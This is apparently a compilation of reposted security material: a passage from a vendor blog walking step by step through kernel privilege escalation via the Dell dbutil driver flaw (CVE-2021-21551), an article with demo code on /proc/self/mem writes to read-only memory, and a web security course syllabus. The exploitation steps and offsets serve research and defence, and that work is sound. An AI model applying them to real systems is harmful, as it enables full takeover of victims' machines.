(STATUS_INVALID_PARAMETER). This means clients need to send at least 0x18 bytes worth of data to continue. The next step is to try and send a contiguous buffer of 0x18 bytes of data, or greater. A 0x20 byte buffer is ideal. This is because when the buffers are propagated before the memmove call, the driver will index the buffer at an offset of 0x8 (the destination) and 0x18 (the source) for the arguments. We will use KUSER_SHARED_DATA, at an offset of 0x800 (0xFFFFF78000000800) in ntoskrnl.exe, which contains a writable code cave, as a proof-of-concept (POC) address to showcase the write primitive. Re-executing the POC, and after stepping through the function that leads to the eventual call to memmove, the lower 32-bits of the third element of the array of QWORDs sent to the driver are loaded into ECX. RSP+0x28 will then be added to RCX, which is a stack address that contains the address of KUSER_SHARED_DATA+0x800. The final result of the operation is 0xFFFFF78042424242. Just before the call to memmove, the fourth element of the test array is placed into RDX. Per the __fastcall calling convention, the value in RCX will serve as the destination address (the “where”) and RDX will serve as the source address (the “what”), allowing for a classic write-what-where condition. These are the two arguments that will be used in the call to memmove, which is located at dbutil_2_3+0x1790. The issue is, however, with the source address. The target specified was 0xFFFFF78000000800 but the address got mangled into 0xFFFFF78042424242. This is because of the addition of the lower 32-bits of the third element of the array to the second element of the array, which was the destination address. Swapping 0x4242424242424242 with 0x0000000000000000 allows clients to satisfy this issue by having a value of zero added to the target address, rendering it unmangled. After sending the POC again, the correct arguments are supplied to the memmove call. Executing the call, the arbitrary write primitive has succeeded. With a successful write primitive in hand, the next step is to obtain a read primitive for successful exploitation. Arbitrary Read Primitive Supplying arguments to the vulnerable memmove routine used for the arbitrary write primitive, an adversary can supply the “what” (the data) and the “where” (the memory address) in the write-what-where condition. It is worth noting that at some point between the memmove call and the invocation of DeviceIoControl, the array of QWORDs used for the write primitive were transferred to kernel mode to be used by dbutil_2_3.sys in the call to memmove. Notice, however, that the target address, the value in RCX, is completely controllable – meaning the driver doesn’t create a pointer to that QWORD, it can be supplied directly. Since memmove will interpret the target address as a pointer, we can actually overwrite whatever we pass as the target buffer in RCX, which in this case is any address we want to corrupt. To read memory, however, there needs to be a similar primitive. In place of the kernel mode address that points to 0x4343434343434343 in RDX, we need supply our own value directly, instead of the driver creating a pointer to it, identical to the level of control we have on the target address we want write over. This is what occurred with the write primitive: Ffffc60524e82998 4343434343434343 This is what needs to occur with the read primitive: 4343434343434343 DATA If this happens, memmove will interpret this address as a pointer and it will be dereferenced. In this case, whatever value supplied would first be dereferenced and then the contents copied to the target buffer, allowing us to arbitrarily read kernel-mode pointers. One option would be to write this data into a declared user-mode pointer in C. Since the driver is taking the supplied buffer and propagating it in kernel mode before leveraging it, the better option would be to supply an output buffer to DeviceIoControl and see if the memmove data writes the read value to the output buffer. The latter option makes sense as this IOCTL allows any client to supply a buffer and have it copied. This driver isn’t compensating for unauthorized clients to this IOCTL, meaning the input and output buffers are more than likely being used by other components and legitimate clients that need an easy way to read and write data. This means there more than likely will be another way to invoke the memmove routine that allows clients to do the inverse of what occurred with the write primitive, and to read memory instead. KUSER_SHARED_DATA, 0xFFFFF78000000000 will be used as a proof-of-concept. After a bit more reverse engineering, it is clear there is more than one way to reach the memmove routine. This is through the IOCTL 0x9B0C1EC4. To read memory arbitrarily, everything can be set to 0 or “filler” data, in the array of QWORDs previously used for the write primitive, except the target address to read from. The target address will be the second element of the array. Then, reusing the same array of QWORDs as an output buffer, we can then loop through the array to see if any elements are filled with the read contents from kernel mode. After running the updated proof of concept, execution again reaches the function housing the memmove routine, dbutil_2_3+0x5294. KUSER_SHARED_DATA is then moved into RCX and then finally loaded into RDX. Per the __fastcall calling convention, KUSER_SHARED_DATA, our target address to read from, will be used as the second argument for the call to memmove. Since memmove accepts two pointers to a memory address, this means that this address in RCX will be where the buffer is written to and the address in RDX, which is a controlled value to be read from, will be dereferenced first and then its contents copied to the address currently in RCX, which will be returned in the output buffer parameter of DeviceIoControl. After the call to memmove, the return value is set to the dereferenced contents of KUSER_SHARED_DATA. This results in a successful read primitive! With a read/write primitive in hand, exploitation can be achieved in multiple fashions. We will take a look at a method that involves hijacking the control flow of the driver’s execution and corrupting page table entries to achieve code execution. Exploitation The goal for exploitation is as follows: Locate the base of the page table entries Calculate where the page table entry for the memory page where the shellcode resides and extract the PTE memory property bits Write shellcode, which will copy the TOKEN member from the SYSTEM EPROCESS object to the exploit process, somewhere that is writable in the driver’s virtual address space Corrupt the page table entry to make the shellcode page RWX and bypassing kernel no-eXecute (DEP) Overwrite [nt!HalDispatchTable+0x8] and invoke ntdll!NtQueryIntervalProfile, which will execute [nt!HalDispatchTable+0x8] Immediately restore [nt!HalDispatchTable+0x8] in an attempt to avoid Kernel Patch Protection, or KPP, which monitors the integrity of dispatch tables at certain intervals. 1. Locate the base of the page table entries Looking for a writable code cave in kernel mode that can be reliably written to, the .data section of dbutil_2_3.sys, which is already writable, presents a viable option. The aforementioned shellcode is approximately 9 QWORDs, so this is a viable code cave in terms of size. The shellcode will be written starting at .data+0x10. Since this has been decided and since this address space resides within the driver’s virtual address space, it is trivial to add a routine to the exploit that can retrieve the load address of the kernel, for page table entry (PTE) indexing calculations, and the base address of dbutil_2_3.sys, from a medium integrity process. Since the location the shellcode will be to written to is at an offset of 0x3000 (the offset to .data) + 0x10 (the offset to code cave) from the base address of dbutil_2_3.sys, we can locate the page table entry for this memory address, which already is a kernel-mode page and is writable. In order to perform the calculations to locate the page table entry we first need to bypass page table randomization, a mitigation of Windows 10 after 1607. This is because we need the base of the page table entries in order to locate the PTE for a specific page in memory (the page table entries are an array of virtual addresses for our purposes). The Windows API function nt!MiGetPteAddress, at an offset of 0x13, contains, dynamically, the base of the page table entries as this kernel-mode function is leveraged to fetch the PTE of a given page. The read primitive can be used to locate the base of the page table entries (note the offset to nt!MiGetPteAddress will change on a per-patch basis). 2. Calculate where the page table entry for the memory page where the shellcode resides and extract the PTE memory property bits Then, it’s possible to replicate what nt!MiGetPteAddress does in order to fetch the correct PTE from the PTE array for the page the shellcode resides in, programmatically. This can also be verified in WinDbg. We can then use the read primitive again in order to preserve what the PTE address points to, which is a set of bits which set properties and permissions of the page. These will be corrupted later. This can also be verified in WinDbg. 3. Write shellcode, which will copy the TOKEN value from the SYSTEM EPROCESS object to the exploit process, somewhere that is writable in the driver’s virtual address space The next step is to write the shellcode to .data+0x10 (dbutil_2_3+0x3010). This can be done by writing the following nine QWORDs to kernel mode using the write primitive. After leveraging the arbitrary write primitive, the shellcode is written to the .data section of dbutil_2_3.sys. The above shellcode will programmatically perform a call to nt!PsGetCurrentProcess to locate the current process’ EPROCESS object, which would be the exploiting process. The shellcode then accesses the ActiveProcessLinks member of the EPROCESS object in order to walk the doubly-linked list of active EPROCESS objects until the EPROCESS object for the SYSTEM process, which has a static PID of 4, is identified. When this is found, the shellcode will then copy the TOKEN member of the SYSTEM process’ EPROCESS object over the current unprivileged token of the exploiting process, essentially granting the process triggering the exploit and any subsequent processes launched from the exploit process full kernel-mode privileges, allowing for full administrative access to the OS. 4. Corrupt the page table entry to make the shellcode page RWX and bypassing kernel no-eXecute (DEP) Now that the shellcode is in kernel mode, we need to make it executable, since the .data section is read/write only. Since we have the PTE bits already stored, we can clear the no-eXecute bit and leverage the arbitrary write primitive to overwrite the current PTE and corrupt it to make the page read/write/execute (RWX). 5. Overwrite [nt!HalDispatchTable+0x8] and invoke ntdll!NtQueryIntervalProfile, which will execute [nt!HalDispatchTable+0x8] The shellcode now resides in a kernel-mode page which is RWX. The last step is to trigger a call to this address. One option is to potentially identify a function pointer within the driver itself, as it does not contain any control-flow checking. However, we can also use a very well documented “system wide” method to trigger the shellcode’s execution, which would be to overwrite [nt!HalDispatchTable+0x8] and call ntdll!NtQueryIntervalProfile. This function call would eventually trigger a call to [nt!HalDispatchTable+0x8], executing our shellcode. Before overwriting [nt!HalDispatchTable+0x8], it is best practice to use the read primitive to preserve the current pointer so we can restore it back after executing our shellcode to ensure system stability, as the Hardware Abstraction Layer is very important on Windows and the dispatch table is referenced regularly. Additionally, Kernel Patch Protection performs checks on dispatch tables, meaning we will want to try to restore everything as quickly as possible. After preserving [nt!HalDispatchTable+0x8] the write primitive can be used to overwrite [nt!HalDispatchTable+0x8] with a pointer to our shellcode, which resides in kernel mode memory. At this point, if we invoke [nt!HalDispatchTable+0x8], we will be calling our shellcode! The last step here, besides restoring [nt!HalDispatchTable+0x8], is to resolve ntdll!NtQueryIntervalProfile, which eventually performs a call to [nt!HalDispatchTable+0x8]. 6. Immediately restore [nt!HalDispatchTable+0x8] in an attempt to avoid Kernel Patch Protection, or KPP, which monitors the integrity of dispatch tables at certain intervals. The exploit is then finished by adding in a routine to restore [nt!HalDispatchTable+0x8]. Stepping through a few instructions inside of nt!KeQueryIntervalProfile, after the call to ntdll!NtQueryIntervalProfile, we can see that we are not directly calling [nt!HalDispatchTable+0x8], but we are calling nt!guard_dispatch_icall. This is part of KCFG, or Kernel Control-Flow Guard, which validates indirect function calls (e.g. calling a function pointer). Clearly, as we can see, the value of [nt!HalDispatchTable+0x8] is pointing to the shellcode, meaning that KCFG should block this activity. The reason why KCFG will not block this attempt at an invalid call target is because KCFG is only enforced when Hyper-V is enabled on the machine and Virtualization-Based Security is active, which isn’t the case on the machine we are testing this exploit on. The reason why VBS is needed to enforce KCFG is because if the KCFG bitmap was allocated in the kernel, one more arbitrary write(s) would allow an adversary to make a shellcode page a “valid” target as well, completely bypassing the mitigation. Since VBS is not enabled we can actually see that all this routine does essentially is bitwise test the target address to confirm it isn’t a user-mode address. If it is a user-mode address, this results in a bug check and system crash. After passing the bitwise test, control-flow transfer is handed off to the shellcode. From here, we can see we have successfully obtained NT AUTHORITY\SYSTEM privileges. CrowdStrike Protection Falcon can detect and prevent kernel attacks, offering visibility into some of the most commonly and uncommonly used IOCTLs abused in the real world through Additional User-Mode Data (AUMD). This gives Falcon the ability to protect endpoints from the exploitation of vulnerable drivers and from adversaries attempting to exploit this particular Dell driver (CVE-2021-21551) vulnerability using the technique described in this post. Falcon protects customers from exploitation attempts like the one described in this research in several ways. One is to block drivers from loading if declared malicious. Another is to detect certain communication mechanisms to specific drivers, allowing the vulnerable driver to run but detecting if attackers communicate with said drivers and exploit these vulnerabilities, such as the exploit mentioned in this blog post. Recommendations Adversarial tactics and techniques are becoming increasingly sophisticated, and organizations need to rely on security solutions that can protect them when it matters, that offer visibility into their infrastructure and have proven capabilities of disrupting sophisticated adversaries and adversarial tactics. It’s also essential to adhere to security hygiene and best practices stretching from patch management to security policies and procedures to reduce risk. This exercise of exploiting the Dell vulnerability proves that adversaries have different exploitation tactics at their disposal for exploiting vulnerabilities, whether they are patched or unpatched, meaning that there is usually more than one way to take advantage of a vulnerability. Updating operating systems to the newest version and enabling Hyper-V, VBS and HVCI will help to mitigate the demonstrated attack technique. A timely and effective patch management strategy is also recommended for identifying and deploying software, firmware and hardware driver updates that fix known security vulnerabilities or technical issues, and for prioritizing patching efforts based on the severity of the vulnerability. Driver inventorying throughout the organization can also help identify whenever suspicious processes attempt to communicate with them, determine whether the path they’re running from is legitimate, or even identify suspicious interaction between them. While malicious interaction can be hard to attribute with high confidence, defenders need to constantly be vigilant for suspicious-looking telemetry events indicative of adversary activity. Conclusion CrowdStrike is constantly aware of adversary thought processes and can detect and mitigate attack tactics demonstrated here and in our previous blog post about this driver vulnerability. This interesting exploitation technique exercise demonstrates how a skilled attacker can leverage a vulnerability and gain full control over a machine in various ways. Organizations need to run the latest builds for software, firmware and hardware drivers and enable the necessary security features to close the window of opportunity for adversaries attempting to exploit similar vulnerabilities. OS developers and hardware developers are constantly adding new security features to mitigate these attacks. Enabling VBS, KCFG, CET and other technologies is critical for blocking similar attack vectors and preventing adversaries from successfully exploiting and compromising enterprise machines. Exploits taking advantage of legitimate yet vulnerable drivers may be difficult to detect, but not for CrowdStrike. Our threat intelligence and Falcon OverWatch™ teams monitor all events reported by the Falcon sensor to quickly identify suspicious behavior and react to it, keeping our customers safe from breaches. Sursa: https://www.crowdstrike.com/blog/cve-2021-21551-learning-through-exploitation/

Linux Internals: How /proc/self/mem writes to unwritable memory Introduction An obscure quirk of the /proc/*/mem pseudofile is its “punch through” semantics. Writes performed through this file will succeed even if the destination virtual memory is marked unwritable. In fact, this behavior is intentional and actively used by projects such as the Julia JIT compiler and rr debugger. This behavior raises some questions: Is privileged code subject to virtual memory permissions? In general, to what degree can the hardware inhibit kernel memory access? By exploring these questions1, this article will shed light on the nuanced relationship between an operating system and the hardware it runs on. We’ll examine the constraints the CPU can impose on the kernel, and how the kernel can bypass these constraints. Patching libc with /proc/self/mem So what do these punch-through semantics look like? Consider this code: #include <fstream> #include <iostream> #include <sys/mman.h> /* Write @len bytes at @ptr to @addr in this address space using * /proc/self/mem. */ void memwrite(void *addr, char *ptr, size_t len) { std::ofstream ff("/proc/self/mem"); ff.seekp(reinterpret_cast<size_t>(addr)); ff.write(ptr, len); ff.flush(); } int main(int argc, char **argv) { // Map an unwritable page. (read-only) auto mymap = (int *)mmap(NULL, 0x9000, PROT_READ, // <<<<<<<<<<<<<<<<<<<<< READ ONLY <<<<<<<< MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mymap == MAP_FAILED) { std::cout << "FAILED\n"; return 1; } std::cout << "Allocated PROT_READ only memory: " << mymap << "\n"; getchar(); // Try to write to the unwritable page. memwrite(mymap, "\x40\x41\x41\x41", 4); std::cout << "did mymap[0] = 0x41414140 via proc self mem.."; getchar(); std::cout << "mymap[0] = 0x" << std::hex << mymap[0] << "\n"; getchar(); // Try to writ to the text segment (executable code) of libc. auto getchar_ptr = (char *)getchar; memwrite(getchar_ptr, "\xcc", 1); // Run the libc function whose code we modified. If the write worked, // we will get a SIGTRAP when the 0xcc executes. getchar(); } This uses /proc/self/mem to write to two unwritable memory pages. The first is a read-only page that the code itself maps. The second is a code page belonging to libc itself (the getchar function). The latter is the more interesting test — it writes a 0xcc byte (the x86-64 software breakpoint instruction) which will cause the kernel to deliver a SIGTRAP to our process if executed. This is literally changing the executable code of libc. So the next time we call getchar, if we get a SIGTRAP, we know that the write has succeeded. Here’s what it looks like when I run the program: It worked! The middle print statements prove that the value 0x41414140 was successfully written and read from memory. The last print shows that a SIGTRAP was delivered to our process when we called getchar after patching it. Here’s a video demo: Now that we’ve seen how this feature works from the perspective of userspace, let’s dive a bit deeper. To fully understand how this works, we must look at how the hardware enforces memory permissions. To the hardware On x86-64, there are two CPU settings which control the kernel’s ability to access memory. They are enforced by the memory management unit (MMU). The first setting is the Write Protect bit (CR0.WP). From Volume 3, Section 2.5 of the Intel manual: Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from writing into read- only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6). This inhibits the kernel’s ability to write to read-only pages, which is notably allowed by default. The second setting is Supervisor Mode Access Prevention (SMAP) (CR4.SMAP). Its full description in Volume 3, Section 4.6 is verbose, but the executive summary is that SMAP disables the kernel’s ability to read or write userspace memory entirely. This hinders security exploits which populate userspace with malicious data to be read by the kernel during exploitation. If the kernel code in question only uses approved channels for accessing userspace (copy_to_user, etc) SMAP can be safely ignored — these functions automatically toggle SMAP before and after accessing memory. But what about Write Protect? With CR0.WP clear, the kernel implementation of /proc/*/mem will indeed be able to unceremoniously write to unwritable userspace memory. However, CR0.WP is enabled at boot, and generally remains set for the life of a system. In this case, a page fault will be triggered in response to the write. As more of a tool to facilitate Copy-on-Write than a security boundary, this does not present any real restriction upon the kernel. That said, it does require the inconvenience of fault handling, which would not otherwise be necessary. With this in mind, let’s examine the implementation. How /proc/*/mem works /proc/*/mem is implemented in fs/proc/base.c. A struct file_operations is populated with handler functions, and the function mem_rw() ultimately backs the write handler. mem_rw() uses access_remote_vm() for performing the actual writes. access_remote_vm() does the following: Calls get_user_pages_remote() to lookup the physical frame corresponding to the destination virtual address. Calls kmap() to map that frame into the kernel’s virtual address space as writable. Calls copy_to_user_page() to finally perform the writes. The implementation sidesteps the entire question of the kernel’s ability to write to unwritable userspace memory! It exerts the kernel’s control over the virtual memory subsystem to bypass the MMU entirely, allowing the kernel to simply write to its own writable address space. This renders the CR0.WP discussion moot. To elaborate on each of these steps: get_user_pages_remote() To bypass the MMU, the kernel needs to manually perform in software what the MMU accomplishes in hardware. The first step is translating the destination virtual address to a physical address. This is exactly what the get_user_pages() family of functions provides. These functions lookup physical memory frames that back a given virtual address range by walking the page tables. They also handle access validation and non-present pages. The caller provides context and modifies the behavior of get_user_pages() via flags. Of particular interest is the FOLL_FORCE flag, which mem_rw() passes. This flag causes check_vma_flags (the access validation logic within get_user_pages()) to ignore writes to unwritable pages and allow the lookup to continue. The “punch through” semantics are attributed entirely to FOLL_FORCE. (comments my own) static int check_vma_flags(struct vm_area_struct *vma, unsigned long gup_flags) { [...] if (write) { // If performing a write.. if (!(vm_flags & VM_WRITE)) { // And the page is unwritable.. if (!(gup_flags & FOLL_FORCE)) // *Unless* FOLL_FORCE.. return -EFAULT; // Return an error [...] return 0; // Otherwise, proceed with lookup } get_user_pages() also honors copy-on-write (CoW) semantics. If a write is detected to a non-writable page table entry, an “page fault” is emulated by calling handle_mm_fault, the core page fault handler. This triggers the appropriate CoW handling routine via do_wp_page, which copies the page if necessary. This ensures that writes via /proc/*/mem are only visible within the process if they occur to a privately shared mapping, such as libc. kmap() Once the physical frame has been looked up, the next step is to map it into the kernel’s virtual address space with writable permissions. This is done through kmap(). On 64 bit x86, all of physical memory is mapped via the linear mapping region of the kernel’s virtual address space. kmap() is trivial in this case — it just needs to add the start address of the linear mapping to the frame’s physical address to compute the virtual address that frame is mapped at. On 32 bit x86, the linear mapping contains a subset of physical memory, so kmap() may need to map the frame by allocating highmem memory and manipulating page tables In both of these cases, the linear mapping and highmem mappings are allocated with PAGE_KERNEL protection which is RW. copy_to_user_page() The last step is executing the writes. This is achieved through copy_to_user_page(), which is essentially a memcpy. Since the destination is the writable mapping from kmap(), this just works. Discussion To summarize, the kernel first translates the destination userspace virtual address to its backing physical frame via a software page table walk. Then it maps this frame into its own virtual address space as RW. Finally, it performs the writes using a simple memcpy. What is striking about this implementation is that it does not involve CR0.WP. The implementation elegantly sidesteps this by exploiting the fact that it is under no obligation to access memory via the pointer it receives from userspace. Since the kernel is in complete control of virtual memory, it can simply remap the physical frame into its own virtual address space, with arbitrary permissions, and operate on it as it wishes. This gets at an important point: the permissions guarding a page of memory are associated with the virtual address used to access that page, not the physical frame that backs the page. Indeed the notion of memory permissions is purely a consideration of virtual memory and does not pertain to physical memory. Conclusion Having thoroughly investigated the implementation details of /proc/*/mem’s “punch through” semantics, we can reflect on the relationship between the kernel and the CPU. At first glance, the ability of the kernel to write to unwritable userspace memory raises the question: to what degree can the CPU inhibit kernel memory access? The manual does indeed document control mechanisms that would seem to limit the kernel. However, under inspection, these prove to be superficial constraints at best — mere roadblocks that can be worked around, or sidestepped altogether. Sursa: https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/

CS 253 Web Security Fall 2019 This course is a comprehensive overview of web security. The goal is to build an understanding of the most common web attacks and their countermeasures. Given the pervasive insecurity of the modern web landscape, there is a pressing need for programmers and system designers to improve their understanding of web security issues. We'll be covering the fundamentals as well as the state-of-the-art in web security. Topics include: Principles of web security, attacks and countermeasures, the browser security model, web app vulnerabilities, injection, denial-of-service, TLS attacks, privacy, fingerprinting, same-origin policy, cross site scripting, authentication, JavaScript security, emerging threats, defense-in-depth, and techniques for writing secure code. Course projects include writing security exploits, defending insecure web apps, and implementing emerging web standards. Meeting time and place Tuesdays and Thursdays, 1:30 PM - 2:50 PM in classroom 380-380Y Course Staff Instructor Feross Aboukhadijeh (feross@cs.stanford.edu) Teaching Assistant Esther Goldstein (egolds@stanford.edu) Office Hours Feross: Thursday 3-5pm, Gates 323 Esther: Monday 3-5pm, Wednesday 3-5pm, Huang Basement Course Policies Communication We will primarily use Piazza for sending out course announcements and answering questions. Please make sure to sign up. We use Gradescope for assignment submissions. Enroll with the code 97BGZB. To submit anonymous feedback to us at any point during the quarter, you may use this form. Prerequisites CS 142, or an equivalent amount of web development experience, is a prerequisite. You should also be curious about web security and excited to learn clever attacks, defenses, and techniques for writing secure code. An introductory security course, such as CS 155, is not a formal prerequisite. The material in this course is focused specifically on the web, while CS 155 covers security more broadly. Attendence Attendance at lectures is mandatory. Do not enroll in this course if you are taking another course that meets at the same time. Grading Assignments (75%) Final Exam (25%) Each assignment is worth 15%. There is no midterm. Final Exam Tuesday, December 10, 3:30pm - 6:30pm in 200-305 Previous Final Exams Final Exam 2019 (Solutions) More Sample Final Exam Questions (Solutions) Collaboration Policy You may discuss the assignments with other students and you may work together to come up with solutions to the problems. If you do so, you must list the name of your collaborators in the submission. Each student must write up their solutions independently. Late Submissions You get three “late days” in total during the quarter. You may use a late day to submit an assignment after the deadline. You can use at most three late days for any single assignment, and you may only use late days in one-day increments (no partial late days). If you submit an assignment more than 72 hours after the deadline, or if you submit an assignment late after running out of late days, you will receive no credit for the submission. Please submit your assignments on time and save your late days for extraordinary situations. If you have questions about these policies, please ask us. Schedule Sep 24: What is Web Security? HTML & JavaScript Review Slides Video Reading Inside look at modern web browser (part 1) Inside look at modern web browser (part 2) Inside look at modern web browser (part 3) A Re-Introduction to JavaScript Sep 26: HTTP, Cookies, Sessions Slides Video Reading An overview of HTTP HTTP Cookies Skim: HTTP headers Oct 01: Session Attacks Slides Video Reading SameSite Cookies Explained Incrementally Better Cookies CSRF Is Dead Oct 03: Cross-Site Request Forgery, Same Origin Policy Slides Video Reading Same Origin policy Cross-Site Request Forgery Prevention Oct 08: Exceptions to the Same Origin Policy, Cross-Site Script Inclusion Slides Video Oct 10: Cross-Site Scripting (XSS) Slides Video Reading Cross Site Scripting Prevention Cheat Sheet XSS Filter Evasion Cheat Sheet Oct 15: Cross-Site Scripting Defenses Slides Video Reading Reining in the Web with Content Security Policy CSP is Dead: Long Live CSP Trusted Types Sanitising HTML: the DOM clobbering issue Oct 17: Fingerprinting and Privacy on the Web Guest Lecture by Pete Snyder (Brave Software) Slides Video Reading Online tracking: A 1-million-site measurement and analysis Most websites don't need to vibrate: A cost-benefit approach to improving browser security Browser Fingerprinting: An Introduction and the Challenges Ahead WebKit Ad Click Attribution Protecting Browser State from Web Privacy Attacks Skim: WebKit Tracking Prevention Policy Oct 22: Denial-of-service, Phishing, Side Channels Slides Video Reading Alice in Warningland: A Large-Scale Field Study of Browser Security Clickjacking Cross-Origin JavaScript Capability Leaks: Detection, Exploitation, and Defense Oct 24: Code Injection Slides Video Reading None Oct 29: Transport Layer Security Slides Video Reading Looking back at the Snowden revelations HTTPS encryption on the web Oct 31: HTTPS in the Real World: A Spooky Tale Guest Lecture by Emily Stark & Chris Palmer (Google Chrome) Slides Video Reading DigiNotar on Wikipedia About Public Key Pinning What Is HPKP For? Rolling out Public Key Pinning with HPKP Reporting Nov 05: Authentication Slides Video Reading Authentication Cheat Sheet Nov 07: WebAuthn - The future of user authentication on the web 🤞 Guest Lecture by Lucas Garron (GitHub) Slides Video Reading Guide to Web Authentication Nov 12: No class Nov 14: Managing security concerns in a large Open Source project Guest Lecture by Myles Borins (Node.js technical steering committee, Google) Slides Video Reading Fantastic Timers and Where to Find Them: High-Resolution Microarchitectural Attacks in JavaScript A Roadmap for Node.js Security Nov 19: Server security, Safe coding practices Slides Video Reading Exploiting Buffer Nov 21: Local HTTP server security Slides Video Reading None Dec 03: DNS rebinding attacks Slides Video Reading Millions of Streaming Devices Are Vulnerable to a Retro Web Attack Protecting Browsers from DNS Rebinding Attacks Dec 05: Browser architecture, Writing secure code Slides Video Reading The Security Architecture of the Chromium Browser Cross-Origin Read Blocking (CORB) primer Skim: Cross-Origin Read Blocking (CORB) explainer Backdooring Your JavaScript Using Minifier Bugs I’m harvesting credit card numbers and passwords from your site. Here’s how. Major sites running unauthenticated JavaScript on their payment pages Assignments Assignment 0 – Web Programming Adventure ✈️ Assigned: Tuesday, September 24 Due: Friday, October 4 at 5:00pm Assignment 1 – Journey to the Dark Side 🌘 Assigned: Tuesday, October 8 Due: Friday, October 18 at 5:00pm Assignment 2 – Oh What a Tangled Web We Weave 🕸 Assigned: Saturday, October 26 Due: Thursday, November 7 at 11:59pm Assignment 3 – See Piazza Assigned: Tuesday, November 12 Due: Friday, November 22 at 5:00pm Assignment 4 – See Piazza Assigned: Mon, November 25 Due: Friday, December 6 at 5:00pm Website design by Feross Aboukhadijeh. Sursa: https://web.stanford.edu/class/cs253/